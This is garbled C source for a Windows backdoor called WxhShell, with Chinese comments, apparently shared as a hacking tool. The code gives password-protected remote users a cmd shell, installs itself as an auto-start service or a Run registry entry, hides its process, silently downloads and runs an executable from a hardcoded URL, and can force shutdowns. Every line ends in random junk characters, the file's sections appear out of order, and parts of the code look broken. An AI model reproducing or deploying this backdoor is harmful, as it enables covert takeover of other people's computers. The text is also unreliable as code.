    if(Boot(SHUTDOWN)) 7G>dTO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q{5kxw1ZF  
    else { 3skC$mpJHw  
    closesocket(wsh); ,~]tg77  
    ExitThread(0); 4s*ZS}] o  
    } S-|)QGxV6  
    break; S_IUV)  
    } TmV,&['mg  
  // 获取shell 4QIX19{"  
  case 's': { G%W8S \  
    CmdShell(wsh); Z Z:}AQ  
    closesocket(wsh); j4uvS!  
    ExitThread(0); -- c"0,7  
    break; $NZ-{dY{  
  } gh8F 2V;<  
  // 退出 c5D)   
  case 'x': { ;k>&FWEG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |~vI3]}fx  
    CloseIt(wsh); .w8J*JZ  
    break; r 0iK  
    } wlqpn(XR  
  // 离开 esMX-.8Cx  
  case 'q': { ap+JQ@b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z*= $8 e@  
    closesocket(wsh); x?2@9u8Yb  
    WSACleanup(); O4V.11FnW  
    exit(1); KQg]0y d  
    break; <BMXCk  
        } )6D,d5<  
  } :i. {  
  } Wg<(ms dj  
h_+dT  
  // 提示信息 s)6U_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xk5@d6Y{r  
} HV{wI1  
  } m0;CH/D0  
P;ci9vk  
  return; uJC~LC N  
} c_'OPJ  
\Ani}qQ%|  
// shell模块句柄 <4g{ fT0  
int CmdShell(SOCKET sock) G(G{RAk>  
{ ~5CBEIF(NS  
STARTUPINFO si; uYs5f.! `  
ZeroMemory(&si,sizeof(si)); 8L:ji,"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1]@}|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; noml8o  
PROCESS_INFORMATION ProcessInfo; HiR[(5vnf  
char cmdline[]="cmd"; {^7Hgg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5BlR1*  
  return 0; ?7.7`1m !v  
} eOs)_?}  
KmA;HiH%J  
// 自身启动模式 $+Z)  
int StartFromService(void) "2)H'<  
{ ]dGw2y  
typedef struct lTV'J?8!-a  
{ CkoL TY  
  DWORD ExitStatus; uF9C -H@:  
  DWORD PebBaseAddress; `OXpU,Z 6U  
  DWORD AffinityMask; B1>/5hV}  
  DWORD BasePriority; 8TLgNQP  
  ULONG UniqueProcessId; z6jc8Z=O  
  ULONG InheritedFromUniqueProcessId; 2ZG5<"DQ"  
}   PROCESS_BASIC_INFORMATION; 5 ft`zf  
C1m]*}U  
PROCNTQSIP NtQueryInformationProcess; S~;4*7+?:  
B"TAjB& *  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $Bs {u=+w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ['B?i1 .  
7Z\--=;|[:  
  HANDLE             hProcess; <b`E_  
  PROCESS_BASIC_INFORMATION pbi; jY% na HaI  
X.f>'0i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,!Z *5  
  if(NULL == hInst ) return 0; %yW3VL  
2.l Z:VLN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jB$IyQ;@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d4>Z8FF|1B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WaVtfg$!  
ER5gmmVP@p  
  if (!NtQueryInformationProcess) return 0; GVYBa_gx  
\]2]/=2tLd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \Zqng  
  if(!hProcess) return 0; <`B,R*H{  
:D%"EJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Lvq>v0|  
GT}F9F~  
  CloseHandle(hProcess); 6@{(;~r  
LcSX *MC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }L+L"l&  
if(hProcess==NULL) return 0; A+"ia1p,}  
TDFkxB>  
HMODULE hMod; #LL?IRH9^  
char procName[255]; _aad=BrMK  
unsigned long cbNeeded; :Q $K<)[  
7VqM$I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /%}*Xh  
u09:Z{tL;@  
  CloseHandle(hProcess); -0$55pa/@:  
>VP= MbN  
if(strstr(procName,"services")) return 1; // 以服务启动 `\gnl'  
E*V`":efS  
  return 0; // 注册表启动 s.N7qO^:E  
} K1r#8Q!t  
m#PY,y  
// 主模块 Y^8C)p9r  
int StartWxhshell(LPSTR lpCmdLine) K?B{rE Lp  
{ b\vKJ2  
  SOCKET wsl; !`g~F\l  
BOOL val=TRUE; hyCh9YOu)  
  int port=0; ]h* c,.  
  struct sockaddr_in door; ] >LhkA@V  
4)h]MOZ  
  if(wscfg.ws_autoins) Install(); )Dw,q~xgg0  
8\^}~s$$A  
port=atoi(lpCmdLine); V5sg#|&  
 FT#8L  
if(port<=0) port=wscfg.ws_port; u37'~&o{U  
s+,OxRVw(  
  WSADATA data; Zhh2v>QOy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8/i!' 0r\  
M=F xB;v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z3&]%Q&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ewa wL"  
  door.sin_family = AF_INET; h{HF8>u[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =(NB%}  
  door.sin_port = htons(port); -+ SF  
- }7e:!.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QDs^Ije  
closesocket(wsl); Z:,U]Z(  
return 1; 5p<ItU$pnL  
} qq) rd  
hAYTj0GZ  
  if(listen(wsl,2) == INVALID_SOCKET) {  x }\64  
closesocket(wsl); k7?N ?7w  
return 1; }.3nthgz  
} hU`wVy  
  Wxhshell(wsl); \m7-rV6r  
  WSACleanup(); 3nT^?;-  
 87<-kV  
return 0; e,F1Xi #d  
(]0%}$Fo  
} SB1upTn  
@.b+av4J  
// 以NT服务方式启动 *5vV6][  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M=1nQF2J  
{ 4 Y ;Nm1 @  
DWORD   status = 0; Mn9dqq~a  
  DWORD   specificError = 0xfffffff; "uuVy$6C  
2 ^mJ+v<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9o;^[Ql-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _,xc[ 07  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g!$!F>[  
  serviceStatus.dwWin32ExitCode     = 0; YP.5fq:  
  serviceStatus.dwServiceSpecificExitCode = 0; r"``QmM  
  serviceStatus.dwCheckPoint       = 0; Ge-CY  
  serviceStatus.dwWaitHint       = 0; tk!t Y8j  
TD'L'm|2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aGJC1x  
  if (hServiceStatusHandle==0) return; 6l5:1|8b,!  
'MEz|Z  
status = GetLastError(); U}6.h&$  
  if (status!=NO_ERROR) OTGofd2zf  
{ <KE 1f7c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )~+E[|  
    serviceStatus.dwCheckPoint       = 0; @y='^DQ*  
    serviceStatus.dwWaitHint       = 0; 9:ze{ c $  
    serviceStatus.dwWin32ExitCode     = status; LQtj~c>X-|  
    serviceStatus.dwServiceSpecificExitCode = specificError; b7 NM#Hb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &y3OR1_Sm*  
    return; g .onTFwN  
  } lJu;O/  
J?RabYd ~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KNS.Nw7  
  serviceStatus.dwCheckPoint       = 0; jX3,c%aQ5e  
  serviceStatus.dwWaitHint       = 0; *of3:w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9Wnn'T@Tl  
} +?u~APjNN  
q#vQv 5  
// 处理NT服务事件,比如:启动、停止 R A KFU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .q `Hjmg<  
{ Xe<sJ. &Wf  
switch(fdwControl) ]$Yvj!K*Q  
{ Fs{x(_LOr  
case SERVICE_CONTROL_STOP: q;<h[b?  
  serviceStatus.dwWin32ExitCode = 0; ~aMlr6;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A*2  bA  
  serviceStatus.dwCheckPoint   = 0; _AQb6Nb  
  serviceStatus.dwWaitHint     = 0; \ ^ZlG.  
  { P%{^i]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4a'N>eDR  
  } r<K(jG[:{f  
  return; GliwY_  
case SERVICE_CONTROL_PAUSE: h3bff#<K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cW i}V  
  break; t?}zdI(4  
case SERVICE_CONTROL_CONTINUE: Min ^>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ebT:/wu,2  
  break; =x<ge_Y  
case SERVICE_CONTROL_INTERROGATE: {DU`[:SQZg  
  break; oASY7k_3  
}; EQf[,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (iL|Sq&}b  
} f !s=(H;  
Zb1<:[  
// 标准应用程序主函数 POvP]G9'"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) JsDpy{q  
{ ~(Q)"s\1I  
:^kZ.6Q@  
// 获取操作系统版本 ^r*r w=  
OsIsNt=GetOsVer(); +)y^ 'Qs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); { jhr<  
VY~yg*  
  // 从命令行安装 +6';1Nb@  
  if(strpbrk(lpCmdLine,"iI")) Install(); &K.?p2$X  
(vb SM}P  
  // 下载执行文件 }o L'8-y  
if(wscfg.ws_downexe) {  ~ ip,Nl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S-k8jm  
  WinExec(wscfg.ws_filenam,SW_HIDE); Wn(6,MDUN  
} kO|L bQ@=q  
~xD ={9BL  
if(!OsIsNt) { VO$ iNK  
// 如果时win9x,隐藏进程并且设置为注册表启动 S<4c r  
HideProc();  /% M/  
StartWxhshell(lpCmdLine); @^T1XX  
} _~piZmkG$  
else nHm}zOLc  
  if(StartFromService()) MFb9H{LA  
  // 以服务方式启动 ]`kmjn  
  StartServiceCtrlDispatcher(DispatchTable); rd9e \%A  
else =K6($|'=  
  // 普通方式启动 XzIl`eH  
  StartWxhshell(lpCmdLine); j#+!\ft5  
S,Xnzrz  
return 0; ?)u@Rf9>  
} CaL\fZ  
G5C I<KRK#  
1XD,uoxB  
a{R%#e\n  
=========================================== P %#<I}0C  
EJsM(iG]~M  
.w0s%T,8}^  
cUY`97bn  
<Dwar>}  
;\=M; Zt  
" [N/"5 [  
h&--,A >  
#include <stdio.h> /(iFcMT  
#include <string.h> =zKhz8B(  
#include <windows.h> ApAO/q  
#include <winsock2.h> :E:38q,hG  
#include <winsvc.h> (H ->IV  
#include <urlmon.h> PK0%g$0  
ie2WL\tR4  
#pragma comment (lib, "Ws2_32.lib") _i20|v   
#pragma comment (lib, "urlmon.lib") Y*H|?uNF  
Pmh8sw  
#define MAX_USER   100 // 最大客户端连接数 wS%Q<uK  
#define BUF_SOCK   200 // sock buffer eA#;AQm  
#define KEY_BUFF   255 // 输入 buffer T3k#VNH  
vvKEv/pN7  
#define REBOOT     0   // 重启 Y?(r3E^x  
#define SHUTDOWN   1   // 关机 iZM+JqfU|D  
hFH*B~*:#  
#define DEF_PORT   5000 // 监听端口 !*oi!ysU;O  
" N9 <wU  
#define REG_LEN     16   // 注册表键长度 8 0Gn%1A9  
#define SVC_LEN     80   // NT服务名长度 0cJWJOj&  
yuat" Pg  
// 从dll定义API R}q>O5O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r\/9X}y4z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UFp,a0|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oxz OA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A'jP7 P  
joiL{  
// wxhshell配置信息 2oNk 93D  
struct WSCFG { wid;8%m  
  int ws_port;         // 监听端口 %F-ZN^R  
  char ws_passstr[REG_LEN]; // 口令 !V i@1E  
  int ws_autoins;       // 安装标记, 1=yes 0=no SjwyLc  
  char ws_regname[REG_LEN]; // 注册表键名 cp#JBH O  
  char ws_svcname[REG_LEN]; // 服务名 A?-oL='  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a2 Y;xe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o]; [R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L$IQuy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q\ U:~g3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iZaI_\"__  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !f&Kf,#b`  
:=wT vz  
}; }j*KcB_  
N6 (  
// default Wxhshell configuration (^u1~1E 5  
struct WSCFG wscfg={DEF_PORT, S"OR%  
    "xuhuanlingzhe", rdJ d#S  
    1, l i0i"  
    "Wxhshell", }Ub6eXf(2  
    "Wxhshell", u%$Zqee  
            "WxhShell Service", 1oN^HG6O  
    "Wrsky Windows CmdShell Service", ENGg ~D  
    "Please Input Your Password: ", ;9#Z@]p  
  1, ev#;t@^  
  "http://www.wrsky.com/wxhshell.exe", @+ BrgZv`  
  "Wxhshell.exe" ?q; Fp  
    }; ReM=eS  
S5G6Rj@W  
// 消息定义模块 ^xij{W`|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |aT| l^2R@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UG'9*(*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XVv K2(  
char *msg_ws_ext="\n\rExit."; k;w- E  
char *msg_ws_end="\n\rQuit."; .)<(Oj|4  
char *msg_ws_boot="\n\rReboot..."; rz@=pR :  
char *msg_ws_poff="\n\rShutdown..."; -lhLA`6_R  
char *msg_ws_down="\n\rSave to "; nIU6h  
1rkE yh??  
char *msg_ws_err="\n\rErr!"; YEj8S5"Su\  
char *msg_ws_ok="\n\rOK!"; \ aHVs  
b#K:_ac5  
char ExeFile[MAX_PATH]; O'W0q;rT  
int nUser = 0; Yx eOI#L  
HANDLE handles[MAX_USER]; l)!n/x_ !  
int OsIsNt; 8erSt!oM  
>|twyb  
SERVICE_STATUS       serviceStatus; " QWq_R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /)4I|"}R0I  
_g~qu [1  
// 函数声明 yp66{o  
int Install(void); ) *,5"CO  
int Uninstall(void); k[HAkB \{  
int DownloadFile(char *sURL, SOCKET wsh); xYhrO  
int Boot(int flag); brdmz}  
void HideProc(void); 0 0 M@  
int GetOsVer(void); `.x Fiyc  
int Wxhshell(SOCKET wsl); A@sZ14+f  
void TalkWithClient(void *cs); |m80]@>  
int CmdShell(SOCKET sock); R +WP0&d'  
int StartFromService(void); ,B0_MDA +  
int StartWxhshell(LPSTR lpCmdLine); ^Nmg07_R  
A` AaTP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Up,vD)tG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D,g1<:<  
nSkPM 5\TI  
// 数据结构和表定义 qUOKB6  
SERVICE_TABLE_ENTRY DispatchTable[] = x}Aw)QCh+r  
{ o]p|-<I Q  
{wscfg.ws_svcname, NTServiceMain}, |Tm!VFd  
{NULL, NULL} DBT&DS  
}; '*?WU_L(g  
-*m+(7G\  
// 自我安装 FxVZ[R  
int Install(void) <_XWWT%  
{ 9\]^|?zQ`  
  char svExeFile[MAX_PATH]; yq NzdzX  
  HKEY key; IjR'Qou5  
  strcpy(svExeFile,ExeFile); RW}"2  
yRiP{$E  
// 如果是win9x系统,修改注册表设为自启动 &'DU0c&  
if(!OsIsNt) { ^ 8@Iyh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |'{zri|A"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aMvI?y {  
  RegCloseKey(key); 7 <Q5;J&;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !ykx^z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9$|Gfyv  
  RegCloseKey(key); vsr[ur[eP  
  return 0; cg*)0U-_(  
    } a(v>Q*zNP  
  } !}r% u."  
} NN1$'"@NL  
else { ?HV`| Cw  
X_g 3rv1J  
// 如果是NT以上系统,安装为系统服务 EoxQ */  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e&qh9mlE  
if (schSCManager!=0) ^4`Px/&  
{ =@8H"&y`  
  SC_HANDLE schService = CreateService hQDTS>U  
  ( r?*NhLG ;  
  schSCManager, [g Z"a*  
  wscfg.ws_svcname, ty*@7g0k  
  wscfg.ws_svcdisp, }-o{ASC#  
  SERVICE_ALL_ACCESS, 3Bx:Ntx<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hweaGL t0  
  SERVICE_AUTO_START, ZJ 77[  
  SERVICE_ERROR_NORMAL, *L'>U[Pl7  
  svExeFile, jD`d#R  
  NULL, *r$+&8V\n  
  NULL, _!?Hu/zo  
  NULL, GR"Eas.$  
  NULL, Sf,R^9#|  
  NULL kr9g K~  
  ); `UQf2o0%3w  
  if (schService!=0) p mFk50`  
  { +ke1Cn'[  
  CloseServiceHandle(schService); *mMEl]+  
  CloseServiceHandle(schSCManager); = pzn u+,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pKjoi{ Z  
  strcat(svExeFile,wscfg.ws_svcname); wj1{M.EF\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DVkB$2]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v^_mFp-}\  
  RegCloseKey(key); {|yob4N  
  return 0; fz3 lV  
    } ~35U]s@v  
  } /2HN>{F^Y  
  CloseServiceHandle(schSCManager); Cc, `}SP  
} %T[^D&9$,  
} =Odv8yhn  
PGARXw+  
return 1; ZZ.m(A TR  
} D^-7JbE]  
Kmdlf,[3d  
// 自我卸载 RJON90,J  
int Uninstall(void) cn- nj]  
{ ( &frUQm  
  HKEY key;  =Mb1o[  
(}5S  
if(!OsIsNt) { h#hxOVl%x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 XA=G  
  RegDeleteValue(key,wscfg.ws_regname); \J6hI\/4^  
  RegCloseKey(key); &V<W>Y>|l*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7oR:1DX w|  
  RegDeleteValue(key,wscfg.ws_regname); ) 9oH,gZ  
  RegCloseKey(key); )#}mH@  
  return 0; KPpHwcYxT  
  } G5,~Z&}YS  
} )|I5j];L  
} wfP5@!I  
else { "sKa`WN}  
u^j {U}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MCP "GZK6W  
if (schSCManager!=0) `W-&0|%Ta  
{ @YH+c G|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pMJ1v  
  if (schService!=0) .y&QqxiE  
  { \G2B?>E;  
  if(DeleteService(schService)!=0) { P@]8pIB0d^  
  CloseServiceHandle(schService); wCHR7X0*b  
  CloseServiceHandle(schSCManager); 033T>qY  
  return 0; Jy aag-  
  } Jz!Z2c  
  CloseServiceHandle(schService); ,o7hk{fR*  
  } lMz<s  
  CloseServiceHandle(schSCManager); !P$'#5mr  
} (?*BB3b`  
} p<v.Q   
i#%a-I:M  
return 1; wfjc/u9W6R  
} }BmS )J q  
q,2]5 '  
// 从指定url下载文件 .Xdj(_&  
int DownloadFile(char *sURL, SOCKET wsh) _7D_72  
{ 4TwQO$C  
  HRESULT hr; cFagz* !  
char seps[]= "/"; TbehR:B5g  
char *token; )!Bd6-  
char *file; D5an\gE  
char myURL[MAX_PATH]; X{g%kf,D=  
char myFILE[MAX_PATH]; gLSA!#[ h  
$y?k[Y-~  
strcpy(myURL,sURL); G3G6IP  
  token=strtok(myURL,seps); '&;69`FSe  
  while(token!=NULL) -[Qvg49jy  
  { Xm4CKuU@  
    file=token;  YOAn4]j  
  token=strtok(NULL,seps); c:l]=O   
  } 3?E&}J<n  
yxBUj*3  
GetCurrentDirectory(MAX_PATH,myFILE); #2:a[ ~Lf  
strcat(myFILE, "\\"); jb /8?7  
strcat(myFILE, file); 4{qB X?  
  send(wsh,myFILE,strlen(myFILE),0); i\H+X   
send(wsh,"...",3,0); XTDE53Js&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 60Z]M+8y8  
  if(hr==S_OK) ?Mp1~{8  
return 0; <g9"Cr`  
else 8)VgS &B~  
return 1; c[ht`!P  
3g~^LZ66  
} $iM=4 3W  
K"2|[5  
// 系统电源模块 Uw<&Wm`'  
int Boot(int flag) x>~p;z#VX  
{ ~B$b)`*  
  HANDLE hToken; wG8Wez%  
  TOKEN_PRIVILEGES tkp; @S 6u9v  
D^Ys)- d  
  if(OsIsNt) { t!_x(u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Be}$I_95\P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8#` 6M5  
    tkp.PrivilegeCount = 1; E:nt)Ef,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oH2!5;A|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gZT)pP  
if(flag==REBOOT) { _B,_4}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [^~7]2i  
  return 0; eu'1H@vX(  
} jLcHY-P0V  
else { nB5Am^bP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K<v:-TjQZ:  
  return 0; &!35/:~uD  
} Gowp <9 F  
  } {Ts:ZI+ 8d  
  else { tk/`%Q  
if(flag==REBOOT) { Oe1 t\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !ax;5@J  
  return 0; @<_`2eW'/R  
} ,M3z!=oIGn  
else { g$j6n{Yl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'Zk<l#"}  
  return 0; *rqm8z50a  
} 4x'AC%&Qi  
} he )ulB  
jiIST^Zq#t  
return 1; wAbp3hX  
} ke/_k/  
]2+g&ox4'  
// win9x进程隐藏模块 EaS~`  
void HideProc(void) 4Y tk!oS`  
{ 9u wL{P&  
.#^0pv!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gZ(O)uzv  
  if ( hKernel != NULL ) Q2C)tVK+  
  { NcL =z o<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LCQkgRs}~{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !=[uT+v  
    FreeLibrary(hKernel); # bX~=`  
  } p27p~b&  
gJ\%>r7h  
return; Ugi5OKdj7)  
} Xyv8LB  
K="I<bK  
// 获取操作系统版本 '7nJb6V,0l  
int GetOsVer(void) i+~QDo(Pi  
{ Rlw9$/D!Z  
  OSVERSIONINFO winfo; PO ko]@~!i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a'[)9:  
  GetVersionEx(&winfo); X9'xn 0n;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =|y|P80w  
  return 1; bNvAyKc-  
  else B- Y+F  
  return 0; Mn"/#tXL-  
} Riql,g/  
h3J*1  
// 客户端句柄模块 |vy]8?Ak  
int Wxhshell(SOCKET wsl) <`JG>H*B6  
{ hU,$|_WDy  
  SOCKET wsh; 4]UT+'RubX  
  struct sockaddr_in client; jA2ofC  
  DWORD myID; v7@H\x*  
Qp&?L"U)2  
  while(nUser<MAX_USER) !b%,'fy)  
{ F7 uhuqA]N  
  int nSize=sizeof(client); +)-d_K.(k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -Uf4v6A  
  if(wsh==INVALID_SOCKET) return 1; Tcs3>lJ}   
/8p&Qf>lJ1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f-vK}'Z`,  
if(handles[nUser]==0) 1PU*:58[  
  closesocket(wsh); C MqM;1  
else =mJ F_Ri  
  nUser++; 7l}~4dm2J  
  } n.;3X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); # J.u  
A*Q[k 9B  
  return 0; Xr2J:1pgg  
} 4GTrI@}3  
u '@Ely  
// 关闭 socket 'aPCb`^;w  
void CloseIt(SOCKET wsh) =[(%n94  
{ w$% BlqN  
closesocket(wsh); 6 ZHv,e`?  
nUser--; ork|yj/A  
ExitThread(0); x=3I)}J(kn  
} Ij$)RSPtH  
]xB6cPdLu  
// 客户端请求句柄 {Vl"m 2  
void TalkWithClient(void *cs) SbJh(V-pr  
{ Qy%xL9  
iJ*%dio  
  SOCKET wsh=(SOCKET)cs; q+J0}y{#8)  
  char pwd[SVC_LEN]; Fs9W>*(  
  char cmd[KEY_BUFF]; ^HoJ.oC/  
char chr[1]; lDU#7\5.  
int i,j; RD9Y k  
&O{t^D)F  
  while (nUser < MAX_USER) { 4`G=q^GL,  
#J3zTG(:@  
if(wscfg.ws_passstr) { ~6fRS2u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cB36p&%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E$&;]a  
  //ZeroMemory(pwd,KEY_BUFF); W#Cq6N  
      i=0; dff#{  
  while(i<SVC_LEN) { :9O|l)N)W=  
`0[fLEm  
  // 设置超时 SJF2k[da  
  fd_set FdRead; ~:s!].H  
  struct timeval TimeOut; Z0z)  
  FD_ZERO(&FdRead); L]a|vp  
  FD_SET(wsh,&FdRead); %SFw~%@3&~  
  TimeOut.tv_sec=8; y (ldO;.  
  TimeOut.tv_usec=0; j~Ff/ O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tpd|y|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '&{(:,!B  
 z8tt+AU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X &09  
  pwd=chr[0]; @hBx, `H^  
  if(chr[0]==0xd || chr[0]==0xa) { \ /sF:~=  
  pwd=0; t>-XT|lV  
  break; 5\5~L  
  } o+R. u}|  
  i++;  1dXh\r_n  
    } .>a$g7Rj  
C!I\Gh  
  // 如果是非法用户,关闭 socket L;kyAX@^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <|wmjW/ D  
} =1_jaDp  
gFgcxe6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H.f9d.<W%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g')?J<z   
8Y]u:v  
while(1) { w`"W3(  
(''$' 5~  
  ZeroMemory(cmd,KEY_BUFF); MQhYJ01i  
UfO'.8*v  
      // 自动支持客户端 telnet标准   &8.z$}m  
  j=0; l!Nvn$h m  
  while(j<KEY_BUFF) { AZ}%MA; q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /}[zA@  
  cmd[j]=chr[0]; ..]B9M.  
  if(chr[0]==0xa || chr[0]==0xd) { c '/2F0y  
  cmd[j]=0; b<48#Qy~l  
  break; ,\Z8*Jr3Q  
  } Lp~c  
  j++; Y&~5k;>'_  
    } V}p*HB@:  
9n-RXVL+  
  // 下载文件 <`^>bv9  
  if(strstr(cmd,"http://")) { FP0<-9DO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y'\3ux0]4'  
  if(DownloadFile(cmd,wsh)) o(vZ*^\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X/K| WOO6  
  else eDvXU_yA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gDgP;i d  
